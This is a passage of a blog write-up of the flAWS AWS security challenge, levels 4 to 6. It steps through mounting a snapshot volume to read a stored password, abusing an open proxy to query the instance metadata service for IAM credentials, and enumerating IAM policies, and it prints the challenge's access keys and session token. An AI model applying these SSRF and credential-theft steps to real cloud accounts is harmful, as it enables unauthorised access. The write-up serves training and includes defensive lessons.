&#x251C;&#x2500;xvda1   202:1    0   8G  0 part /
&#x251C;&#x2500;xvda127 259:0    0   1M  0 part
&#x2514;&#x2500;xvda128 259:1    0  10M  0 part
xvdf      202:80   0   8G  0 disk
&#x2514;&#x2500;xvdf1   202:81   0   8G  0 part
</code></pre>
<p>Okay, so the volume is there.<br>
Remember it was under <code>/dev/sdf</code>, so <code>xdf1</code> is our volume here.</p>
<p>Now the mount process:</p>
<pre><code class="language-bash">[ec2-user@ip-172-31-16-189 ~]$ lsblk
NAME      MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
xvda      202:0    0   8G  0 disk
&#x251C;&#x2500;xvda1   202:1    0   8G  0 part /
&#x251C;&#x2500;xvda127 259:0    0   1M  0 part
&#x2514;&#x2500;xvda128 259:1    0  10M  0 part
xvdf      202:80   0   8G  0 disk
&#x2514;&#x2500;xvdf1   202:81   0   8G  0 part
[ec2-user@ip-172-31-16-189 ~]$ sudo mkdir /data
[ec2-user@ip-172-31-16-189 ~]$ sudo mount /dev/xvdf1 /data
</code></pre>
<p>You could also mount it to <code>/mnt</code>, if you&apos;d like to.<br>
Anyway, let&apos;s now take a look inside:</p>
<pre><code class="language-bash">$ ls /data/
bin  boot  dev  etc  home  initrd.img  initrd.img.old  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  sys  tmp  usr  var  vmlinuz  vmlinuz.old
</code></pre>
<p>Now back into the attacker mode.<br>
For an attacker, there are a couple of very interesting directories:</p>
<ul>
<li><code>/home</code></li>
<li><code>/etc</code></li>
<li><code>/var</code></li>
</ul>
<p>Since we know that there is a website hosted on the EC2 instance, we can check if the website is inside <code>/var/www/html</code>:</p>
<pre><code class="language-bash">[ec2-user@ip-172-31-16-189 ~]$ cd /data/var/www/html/
[ec2-user@ip-172-31-16-189 html]$ ls
index.html  robots.txt
</code></pre>
<p>Looking good, let&apos;s reveal the content of <code>index.html</code></p>
<pre><code class="language-bash">[ec2-user@ip-172-31-16-189 html]$ cat index.html
&lt;html&gt;
    &lt;head&gt;
        &lt;title&gt;flAWS&lt;/title&gt;
        &lt;META NAME=&quot;ROBOTS&quot; CONTENT=&quot;NOINDEX, NOFOLLOW&quot;&gt;
        &lt;style&gt;
            body { font-family: Andale Mono, monospace; }
        &lt;/style&gt;
    &lt;/head&gt;
&lt;body
  text=&quot;#00d000&quot;
  bgcolor=&quot;#000000&quot; 
  style=&quot;max-width:800px; margin-left:auto ;margin-right:auto&quot;
  vlink=&quot;#00ff00&quot; link=&quot;#00ff00&quot;&gt;
&lt;center&gt;
&lt;pre&gt;
 _____  _       ____  __    __  _____
|     || |     /    ||  |__|  |/ ___/
|   __|| |    |  o  ||  |  |  (   \_
|  |_  | |___ |     ||  |  |  |\__  |
|   _] |     ||  _  ||  `  &apos;  |/  \ |
|  |   |     ||  |  | \      / \    |
|__|   |_____||__|__|  \_/\_/   \___|
&lt;/pre&gt;
&lt;h1&gt;flAWS - Level 5&lt;/h1&gt;
&lt;/center&gt;


Good work getting in.  This level is described at &lt;a href=&quot;http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/&quot;&gt;http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/&lt;/a&gt;

</code></pre>
<p>We found the access to Level 5!<br>
But what about the password for the Basic Authentication?<br>
Let&apos;s check the home folder:</p>
<pre><code class="language-bash">[ec2-user@ip-172-31-16-189 data]$ ls /data/home
ubuntu
[ec2-user@ip-172-31-16-189 data]$ ls /data/home/ubuntu/
meta-data  setupNginx.sh
[ec2-user@ip-172-31-16-189 data]$
</code></pre>
<p>A setup script, what might be in there?</p>
<pre><code class="language-bash">[ec2-user@ip-172-31-16-189 data]$ cat /data/home/ubuntu/setupNginx.sh
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M
</code></pre>
<p>How convenient, the password!</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-20.png" class="kg-image" alt loading="lazy" width="2000" height="686" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-20.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-20.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/02/image-20.png 1600w, https://eduard.schwarzkopf.center/content/images/2024/02/image-20.png 2194w" sizes="(min-width: 720px) 720px"></figure><p>And now we are presented with the correct page:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-21.png" class="kg-image" alt loading="lazy" width="1686" height="510" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-21.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-21.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/02/image-21.png 1600w, https://eduard.schwarzkopf.center/content/images/2024/02/image-21.png 1686w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><h3 id="lessons-learnedlevel-4">Lessons learned - Level 4</h3>
<blockquote>
<p>AWS allows you to make snapshots of EC2s and databases (RDS). The main purpose for that is to make backups, but people sometimes use snapshots to get access back to their own EC2&apos;s when they forget the passwords. This also allows attackers to get access to things. Snapshots are normally restricted to your own account, so a possible attack would be an attacker getting access to an AWS key that allows them to start/stop and do other things with EC2&apos;s and then uses that to snapshot an EC2 and spin up an EC2 with that volume in your environment to get access to it. Like all backups, you need to be cautious about protecting them.</p>
</blockquote>
<p>In short, make sure, only the right people have access to any of your backups or data in general.</p>
<h3 id="cleanup">Cleanup</h3>
<p>&#x26A0;&#xFE0F; Remember to terminate the EC2 instance and the created volume!</p>
<h2 id="level-5your-metadata-is-now-my-metadata">Level 5 - your metadata is now my metadata</h2>
<blockquote>
<p>This EC2 has a simple HTTP only proxy on it. Here are some examples of it&apos;s usage:</p>
<ul>
<li><a href="http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/?ref=eduard.schwarzkopf.center">http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/</a></li>
<li><a href="http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml?ref=eduard.schwarzkopf.center">http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml</a></li>
<li><a href="http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/?ref=eduard.schwarzkopf.center">http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/</a></li>
</ul>
<p>See if you can use this proxy to figure out how to list the contents of the level6 bucket at level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud that has a hidden directory in it.</p>
</blockquote>
<p>Time to deal with proxies it seems.<br>
What have we got on the first link:</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-22.png" class="kg-image" alt loading="lazy" width="2000" height="1058" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-22.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-22.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/02/image-22.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2024/02/image-22.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>Alright, that is just Level 1 again. Second link:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-23.png" class="kg-image" alt loading="lazy" width="2000" height="939" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-23.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-23.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/02/image-23.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2024/02/image-23.png 2400w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>I&apos;m not going to bother trying the third link, you should get the concept.<br>
Now the question is, how we can abuse that proxy to list the content of the level 6 bucket?</p>
<p>To be able to use the proxy we need to structure the URL as follows:</p>
<pre><code class="language-bash">http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/&lt;url&gt;/
</code></pre>
<p>But what can we do with that?<br>
Maybe just list the content through the proxy?</p>
<pre><code class="language-bash">http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud.s3.amazonaws.com/
</code></pre>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-25.png" class="kg-image" alt loading="lazy" width="2000" height="618" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-25.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-25.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/02/image-25.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2024/02/image-25.png 2400w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>Well, since it is a proxy, it has to use some sort of computing behind the scenes.<br>
With that, we can maybe get some information from the <a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html?ref=eduard.schwarzkopf.center">Instance metadata service</a>.</p>
<pre><code class="language-bash">http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/
</code></pre>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-26.png" class="kg-image" alt loading="lazy" width="1782" height="1108" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-26.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-26.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/02/image-26.png 1600w, https://eduard.schwarzkopf.center/content/images/2024/02/image-26.png 1782w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>Seems we&apos;ve got access to some metadata from the EC2 and when an attacker can get access to this data, the very first request will always be:</p>
<pre><code class="language-bash">http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/
</code></pre>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-27.png" class="kg-image" alt loading="lazy" width="2000" height="336" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-27.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-27.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/02/image-27.png 1600w, https://eduard.schwarzkopf.center/content/images/2024/02/image-27.png 2348w" sizes="(min-width: 720px) 720px"></figure><p>Now, let&#x2019;s grab the keys and gain access to another profile:</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-28.png" class="kg-image" alt loading="lazy" width="2000" height="520" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-28.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-28.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/02/image-28.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2024/02/image-28.png 2400w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><pre><code class="language-bash">$ aws configure --profile proxy  

AWS Access Key ID [None]: ASIA6GG7PSQGZWMYNUOJ
AWS Secret Access Key [None]: ST8rKB/WIiHvVEngtwrEBYxrQlzTOUgO5lAp45M9
Default region name [None]: us-west-2
Default output format [None]:

</code></pre>
<p>And now set the token:</p>
<pre><code class="language-bash">$ aws configure --profile proxy set aws_session_token &quot;IQoJb3JpZ2luX2VjEPf//////////wEaCXVzLXdlc3QtMiJHMEUCIQCpvZWxssikiM+9Oj7OGaFdoxHTfJMfG5t1bzrkHYwFZAIgO0Jk07M86ntqb1A/2oJSMPWCFDC1KYl2w4bhKBWZsd0quwUIwP//////////ARAEGgw5NzU0MjYyNjIwMjkiDNKLWXhncfeWhgrbTSqPBe1SBYJxUAqsZYIhUXP0aLEO/GEzWZdfcbpcwbfWhBpI1/tbwQD/Mg2hR9ELEwV1QlQk27ljO+kIg2+aeEUZHBOAg4f/guLk/7HeUIcmcG4xbeT4oZnToTp+eH9QtHAVDLzCqvQQoPD9yFFUmTXpaggGWsxprRYCU3XLyDwH5lSQHjOfTGUK9ibrLGGSnpx8p2wu1+vdLOxGb3a43i/q6ojTsKUJ3GoowVFU4TsKh6a5dQZqEzNeR0mY7NG3VcGV9n6iO3MyNb9FyagHDU1ZRydjfcHHWx/994focc0eXusVDEStTVf5+AnMG+u8fqzV7aDmBtwg5580lnLuM1QZzoCAHXaz5VCJ7jyLlBM9RFFv3J/18mN/QeeIATPX8siOrIapC/ZaGGGNLcbVSXWYbvbTSPg5N+gvuQPTOnu/sGPQlR0Zzm7z+uJldeCOx9BuqYYwZriny9uVg0j9kLAupXthM1O6sXRMNx5KAD3ZVvC3vIC8rjr6TbqKKwSOsTAnxF3dysVF0TYShJEBcSfsAcbgsAXsRUze/Rti57J8H2CPdXZP1dY1X1bBNXtpbZeD6X1Fnlk6kaECC0K0xEwRvs0zp4NqOovv04yVyDFtVGhNpfWT8RLRid7FySOBuR8qG2Gw2SUMJsobAc6MoDjdyMwsfsr9mOrtWzF4jiDka0CmGtyEzerPJXd6SPL1yWtNSNP2Zo/S4XMyDcQjrJzHjcWkZA+NlzL71s0Jyft2qPc9xKhSwTHeEJP5tKgQxJKjomnJZs3Ogg4KAzXltvjcpcpKB0hzzEzc7/uDUhYAsg3AsFT0C6V18MQvvzFtfPllLVrJcyPgwKUctMsQARlJuej88Woz0FFOqqoq2B3o8MYw4KS9pwY6sQEtiA8MXoffgQ9FUR26Nup3W+ZhEDgE91SxQGCrnpo42aIrMIJzQKHQn5kXShckSAUGr7hPBb910i2nmHUK7JTvkgV7h1nz/VE5PVW339VBziO/Dey6TzZgopemWELDbNIy7pnnQSm58XyAXswIzGn3QMooNd6W+HQvGdI8hgJXVduBNxuV5uKBX6a/wm0BhrWabpPrtrQogR85QomCb0lpNXY+7lz9V9/HwOPXOJvi6vc=&quot;
# no output
</code></pre>
<p>Time to see if we have access to the bucket:</p>
<pre><code class="language-bash">$ aws s3api list-objects-v2 --bucket level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud --profile proxy

{
  &quot;Contents&quot;: [
    {
      &quot;Key&quot;: &quot;ddcc78ff/hint1.html&quot;,
      &quot;LastModified&quot;: &quot;2017-03-03T04:36:23+00:00&quot;,
      &quot;ETag&quot;: &quot;\&quot;9d5aa0c151e681b76f21d47d4b295f9e\&quot;&quot;,
      &quot;Size&quot;: 2463,
      &quot;StorageClass&quot;: &quot;STANDARD&quot;
    },
    {
      &quot;Key&quot;: &quot;ddcc78ff/hint2.html&quot;,
      &quot;LastModified&quot;: &quot;2017-03-03T04:36:23+00:00&quot;,
      &quot;ETag&quot;: &quot;\&quot;46852b6abada0f2b57b66f9b4cf1dfbb\&quot;&quot;,
      &quot;Size&quot;: 2080,
      &quot;StorageClass&quot;: &quot;STANDARD&quot;
    },
    {
      &quot;Key&quot;: &quot;ddcc78ff/index.html&quot;,
      &quot;LastModified&quot;: &quot;2020-05-22T18:42:20+00:00&quot;,
      &quot;ETag&quot;: &quot;\&quot;ae66f2837680f5688b92d8eb3c4b24fa\&quot;&quot;,
      &quot;Size&quot;: 2924,
      &quot;StorageClass&quot;: &quot;STANDARD&quot;
    },
    {
      &quot;Key&quot;: &quot;index.html&quot;,
      &quot;LastModified&quot;: &quot;2017-02-27T02:11:07+00:00&quot;,
      &quot;ETag&quot;: &quot;\&quot;6b0ffa72702b171487f97e8f443599ee\&quot;&quot;,
      &quot;Size&quot;: 871,
      &quot;StorageClass&quot;: &quot;STANDARD&quot;
    }
  ],
  &quot;RequestCharged&quot;: null
}
</code></pre>
<p>That was easier than I thought. Let&apos;s visit the secret index.html at <code>ddcc78ff/index.html</code>:</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2024/02/image-29.png" class="kg-image" alt loading="lazy" width="2000" height="802" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2024/02/image-29.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2024/02/image-29.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2024/02/image-29.png 1600w, https://eduard.schwarzkopf.center/content/images/2024/02/image-29.png 2328w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>Welcome to level 6, I guess.</p>
<h2 id="lesson-learnedlevel-5">Lesson learned - Level 5</h2>
<blockquote>
<p>The IP address 169.254.169.254 is a magic IP in the cloud world. AWS, Azure, Google, DigitalOcean and others use this to allow cloud resources to find out metadata about themselves. Some, such as Google, have additional constraints on the requests, such as requiring it to use <code>Metadata-Flavor: Google</code> as an HTTP header and refusing requests with an <code>X-Forwarded-For</code> header. AWS has recently created a new IMDSv2 that requires special headers, a challenge and response, and other protections, but many AWS accounts may not have enforced it. If you can make any sort of HTTP request from an EC2 to that IP, you&apos;ll likely get back information the owner would prefer you not see.</p>
<p><strong>Examples of this problem</strong></p>
<ul>
<li><a href="https://twitter.com/Agarri_FR?ref=eduard.schwarzkopf.center">Nicolas Gr&#xC3;&#xA9;goire</a> discovered that prezi allowed you point their servers at a URL to include as content in a slide, and this allowed you to point to 169.254.169.254 which provided the access key for the EC2 intance profile (<a href="https://engineering.prezi.com/prezi-got-pwned-a-tale-of-responsible-disclosure-ccdc71bb6dd1?gi=c0ec39b6236a&amp;ref=eduard.schwarzkopf.center">link</a>). He also found issues with access to that magic IP with <a href="https://hackerone.com/reports/53088?ref=eduard.schwarzkopf.center">Phabricator</a> and <a href="https://hackerone.com/reports/53004?ref=eduard.schwarzkopf.center">Coinbase</a>.</li>
</ul>
<p>A similar problem to getting access to the IAM profile&apos;s access keys is access to the EC2&apos;s user-data, which people sometimes use to pass secrets to the EC2 such as API keys or credentials.</p>
<p><strong>Avoiding this mistake</strong><br>
Ensure your applications do not allow access to 169.254.169.254 or any local and private IP ranges. Additionally, ensure that IAM roles are restricted as much as possible.</p>
</blockquote>
<p>In short: Do not expose the Instance metadata service to the end-user. You can read more about this here: <a href="https://docs.aws.amazon.com/whitepapers/latest/security-practices-multi-tenant-saas-applications-eks/restrict-the-use-of-host-networking-and-block-access-to-instance-metadata-service.html?ref=eduard.schwarzkopf.center">https://docs.aws.amazon.com/whitepapers/latest/security-practices-multi-tenant-saas-applications-eks/restrict-the-use-of-host-networking-and-block-access-to-instance-metadata-service.html</a></p>
<p>Or if you can, block it with a firewall rule:</p>
<pre><code class="language-bash">iptables -A OUTPUT -m owner ! --uid-owner root -d 169.254.169.254 -j DROP
</code></pre>
<p>or if want to know more about the general problem of server side request forgery you can check the <a href="https://owasp.org/www-community/attacks/Server_Side_Request_Forgery?ref=eduard.schwarzkopf.center">OWAS website</a>.</p>
<h2 id="level-6through-the-gates">Level 6 - Through the gates</h2>
<blockquote>
<p>For this final challenge, you&apos;re getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account.</p>
<p>Access key ID: AKIAJFQ6E7BY57Q3OBGA<br>
Secret: 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</p>
</blockquote>
<p>Alright, access keys, let&apos;s create a profile with it:</p>
<pre><code class="language-bash">aws configure --profile lvl6
AWS Access Key ID [None]: AKIAJFQ6E7BY57Q3OBGA
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2
Default output format [None]:
</code></pre>
<p>Now let&apos;s see how we are:</p>
<pre><code class="language-bash">$ aws sts get-caller-identity --profile lvl6
{
  &quot;UserId&quot;: &quot;AIDAIRMDOSCWGLCDWOG6A&quot;,
  &quot;Account&quot;: &quot;975426262029&quot;,
  &quot;Arn&quot;: &quot;arn:aws:iam::975426262029:user/Level6&quot;
}
</code></pre>
<p>So, with an audit account, you usually only have read access.<br>
Maybe we can get a better understanding of what we can do if we check our policy:</p>
<pre><code class="language-bash">$ aws iam list-attached-user-policies --user-name Level6 --profile lvl6
{
  &quot;AttachedPolicies&quot;: [
    {
      &quot;PolicyName&quot;: &quot;MySecurityAudit&quot;,
      &quot;PolicyArn&quot;: &quot;arn:aws:iam::975426262029:policy/MySecurityAudit&quot;
    },
    {
      &quot;PolicyName&quot;: &quot;list_apigateways&quot;,
      &quot;PolicyArn&quot;: &quot;arn:aws:iam::975426262029:policy/list_apigateways&quot;
    }
  ]
}
</code></pre>
<p><code>list_apigateways</code> seems a little bit off the place here. What can we do with that?</p>
<pre><code class="language-bash">$ aws iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --profile lvl6

{
  &quot;Policy&quot;: {
    &quot;PolicyName&quot;: &quot;list_apigateways&quot;,
    &quot;PolicyId&quot;: &quot;ANPAIRLWTQMGKCSPGTAIO&quot;,
    &quot;Arn&quot;: &quot;arn:aws:iam::975426262029:policy/list_apigateways&quot;,
    &quot;Path&quot;: &quot;/&quot;,
    &quot;DefaultVersionId&quot;: &quot;v4&quot;,
    &quot;AttachmentCount&quot;: 1,
    &quot;PermissionsBoundaryUsageCount&quot;: 0,
    &quot;IsAttachable&quot;: true,
    &quot;Description&quot;: &quot;List apigateways&quot;,
    &quot;CreateDate&quot;: &quot;2017-02-20T01:45:17+00:00&quot;,
    &quot;UpdateDate&quot;: &quot;2017-02-20T01:48:17+00:00&quot;,
    &quot;Tags&quot;: []
  }
}
</code></pre>
<p>Let&apos;s look inside the policy now:</p>
<pre><code class="language-bash">aws iam get-user-policy --user-name Level6 --policy-name list_apigateways --profile lvl6

An error occurred (NoSuchEntity) when calling the GetUserPolicy operation: The user policy with name list_apigateways cannot be found.
</code></pre>
<p>That is weird. Let&apos;s try a different command:</p>
<pre><code class="language-bash">
aws iam get-policy-version --version-id v4 --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --profile lvl6

{
  &quot;PolicyVersion&quot;: {
    &quot;Document&quot;: {
      &quot;Version&quot;: &quot;2012-10-17&quot;,
      &quot;Statement&quot;: [
        {
          &quot;Action&quot;: [
            &quot;apigateway:GET&quot;
          ],
          &quot;Effect&quot;: &quot;Allow&quot;,
          &quot;Resource&quot;: &quot;arn:aws:apigateway:us-west-2::/restapis/*&quot;
        }
      ]
    },
    &quot;VersionId&quot;: &quot;v4&quot;,
    &quot;IsDefaultVersion&quot;: true,
    &quot;CreateDate&quot;: &quot;2017-02-20T01:48:17+00:00&quot;
  }
}
</code></pre>
<p>Alright, that looks better. Seems like we are allowed to send GET requests to any RESTApi. Interesting. Can we maybe see what APIs are created?</p>
<pre><code class="language-bash">
aws iam get-policy --policy-arn arn:aws:iam::975426262029:policy/MySecurityAudit --profile lvl6
{
  &quot;Policy&quot;: {
    &quot;PolicyName&quot;: &quot;MySecurityAudit&quot;,
    &quot;PolicyId&quot;: &quot;ANPAJCK5AS3ZZEILYYVC6&quot;,
    &quot;Arn&quot;: &quot;arn:aws:iam::975426262029:policy/MySecurityAudit&quot;,
    &quot;Path&quot;: &quot;/&quot;,
    &quot;DefaultVersionId&quot;: &quot;v1&quot;,
    &quot;AttachmentCount&quot;: 1,
    &quot;PermissionsBoundaryUsageCount&quot;: 0,
    &quot;IsAttachable&quot;: true,
    &quot;Description&quot;: &quot;Most of the security audit capabilities&quot;,
    &quot;CreateDate&quot;: &quot;2019-03-03T16:42:45+00:00&quot;,
    &quot;UpdateDate&quot;: &quot;2019-03-03T16:42:45+00:00&quot;,
    &quot;Tags&quot;: []
  }
}

</code></pre>
<pre><code class="language-bash">$ aws iam get-policy-version --version-id v1 --policy-arn arn:aws:iam::975426262029:policy/MySecurityAudit --profile lvl6

{
  &quot;PolicyVersion&quot;: {
    &quot;Document&quot;: {
      &quot;Version&quot;: &quot;2012-10-17&quot;,
      &quot;Statement&quot;: [
        {
          &quot;Action&quot;: [
            &quot;acm:Describe*&quot;,
            &quot;acm:List*&quot;,
            &quot;application-autoscaling:Describe*&quot;,
            &quot;athena:List*&quot;,
            &quot;autoscaling:Describe*&quot;,
            &quot;batch:DescribeComputeEnvironments&quot;,
            &quot;batch:DescribeJobDefinitions&quot;,
            &quot;clouddirectory:ListDirectories&quot;,
            &quot;cloudformation:DescribeStack*&quot;,
            &quot;cloudformation:GetTemplate&quot;,
            &quot;cloudformation:ListStack*&quot;,
            &quot;cloudformation:GetStackPolicy&quot;,
            &quot;cloudfront:Get*&quot;,
            &quot;cloudfront:List*&quot;,
            &quot;cloudhsm:ListHapgs&quot;,
            &quot;cloudhsm:ListHsms&quot;,
            &quot;cloudhsm:ListLunaClients&quot;,
            &quot;cloudsearch:DescribeDomains&quot;,
            &quot;cloudsearch:DescribeServiceAccessPolicies&quot;,
            &quot;cloudtrail:DescribeTrails&quot;,
            &quot;cloudtrail:GetEventSelectors&quot;,
            &quot;cloudtrail:GetTrailStatus&quot;,
            &quot;cloudtrail:ListTags&quot;,
            &quot;cloudwatch:Describe*&quot;,
            &quot;codebuild:ListProjects&quot;,
            &quot;codedeploy:Batch*&quot;,
            &quot;codedeploy:Get*&quot;,
            &quot;codedeploy:List*&quot;,
            &quot;codepipeline:ListPipelines&quot;,
            &quot;codestar:Describe*&quot;,
            &quot;codestar:List*&quot;,
            &quot;cognito-identity:ListIdentityPools&quot;,
            &quot;cognito-idp:ListUserPools&quot;,
            &quot;cognito-sync:Describe*&quot;,
            &quot;cognito-sync:List*&quot;,
            &quot;datasync:Describe*&quot;,
            &quot;datasync:List*&quot;,
            &quot;dax:Describe*&quot;,
            &quot;dax:ListTags&quot;,
            &quot;directconnect:Describe*&quot;,
            &quot;dms:Describe*&quot;,
            &quot;dms:ListTagsForResource&quot;,
            &quot;ds:DescribeDirectories&quot;,
            &quot;dynamodb:DescribeContinuousBackups&quot;,
            &quot;dynamodb:DescribeGlobalTable&quot;,
            &quot;dynamodb:DescribeTable&quot;,
            &quot;dynamodb:DescribeTimeToLive&quot;,
            &quot;dynamodb:ListBackups&quot;,
            &quot;dynamodb:ListGlobalTables&quot;,
            &quot;dynamodb:ListStreams&quot;,
            &quot;dynamodb:ListTables&quot;,
            &quot;ec2:Describe*&quot;,
            &quot;ecr:DescribeRepositories&quot;,
            &quot;ecr:GetRepositoryPolicy&quot;,
            &quot;ecs:Describe*&quot;,
            &quot;ecs:List*&quot;,
            &quot;eks:DescribeCluster&quot;,
            &quot;eks:ListClusters&quot;,
            &quot;elasticache:Describe*&quot;,
            &quot;elasticbeanstalk:Describe*&quot;,
            &quot;elasticfilesystem:DescribeFileSystems&quot;,
            &quot;elasticloadbalancing:Describe*&quot;,
            &quot;elasticmapreduce:Describe*&quot;,
            &quot;elasticmapreduce:ListClusters&quot;,
            &quot;elasticmapreduce:ListInstances&quot;,
            &quot;es:Describe*&quot;,
            &quot;es:ListDomainNames&quot;,
            &quot;events:DescribeEventBus&quot;,
            &quot;events:ListRules&quot;,
            &quot;firehose:Describe*&quot;,
            &quot;firehose:List*&quot;,
            &quot;fsx:Describe*&quot;,
            &quot;fsx:List*&quot;,
            &quot;gamelift:ListBuilds&quot;,
            &quot;gamelift:ListFleets&quot;,
            &quot;glacier:DescribeVault&quot;,
            &quot;glacier:GetVaultAccessPolicy&quot;,
            &quot;glacier:ListVaults&quot;,
            &quot;globalaccelerator:Describe*&quot;,
            &quot;globalaccelerator:List*&quot;,
            &quot;greengrass:List*&quot;,
            &quot;guardduty:Get*&quot;,
            &quot;guardduty:List*&quot;,
            &quot;iam:GenerateCredentialReport&quot;,
            &quot;iam:Get*&quot;,
            &quot;iam:List*&quot;,
            &quot;iam:SimulateCustomPolicy&quot;,
            &quot;iam:SimulatePrincipalPolicy&quot;,
            &quot;iot:Describe*&quot;,
            &quot;iot:List*&quot;,
            &quot;kinesis:DescribeStream&quot;,
            &quot;kinesis:ListStreams&quot;,
            &quot;kinesis:ListTagsForStream&quot;,
            &quot;kinesisanalytics:ListApplications&quot;,
            &quot;kms:Describe*&quot;,
            &quot;kms:List*&quot;,
            &quot;lambda:GetAccountSettings&quot;,
            &quot;lambda:GetPolicy&quot;,
            &quot;lambda:List*&quot;,
            &quot;license-manager:List*&quot;,
            &quot;logs:Describe*&quot;,
            &quot;logs:ListTagsLogGroup&quot;,
            &quot;machinelearning:DescribeMLModels&quot;,
            &quot;mediaconnect:Describe*&quot;,
            &quot;mediaconnect:List*&quot;,
            &quot;mediastore:GetContainerPolicy&quot;,
            &quot;mediastore:ListContainers&quot;,
            &quot;opsworks-cm:DescribeServers&quot;,
            &quot;organizations:List*&quot;,
            &quot;quicksight:Describe*&quot;,
            &quot;quicksight:List*&quot;,
            &quot;ram:List*&quot;,
            &quot;rds:Describe*&quot;,
            &quot;rds:DownloadDBLogFilePortion&quot;,
            &quot;rds:ListTagsForResource&quot;,
            &quot;redshift:Describe*&quot;,
            &quot;rekognition:Describe*&quot;,
            &quot;rekognition:List*&quot;,
            &quot;robomaker:Describe*&quot;,
            &quot;robomaker:List*&quot;,
            &quot;route53:Get*&quot;,
            &quot;route53:List*&quot;,
            &quot;route53domains:GetDomainDetail&quot;,
            &quot;route53domains:GetOperationDetail&quot;,
            &quot;route53domains:ListDomains&quot;,
            &quot;route53domains:ListOperations&quot;,
            &quot;route53domains:ListTagsForDomain&quot;,
            &quot;route53resolver:List*&quot;,
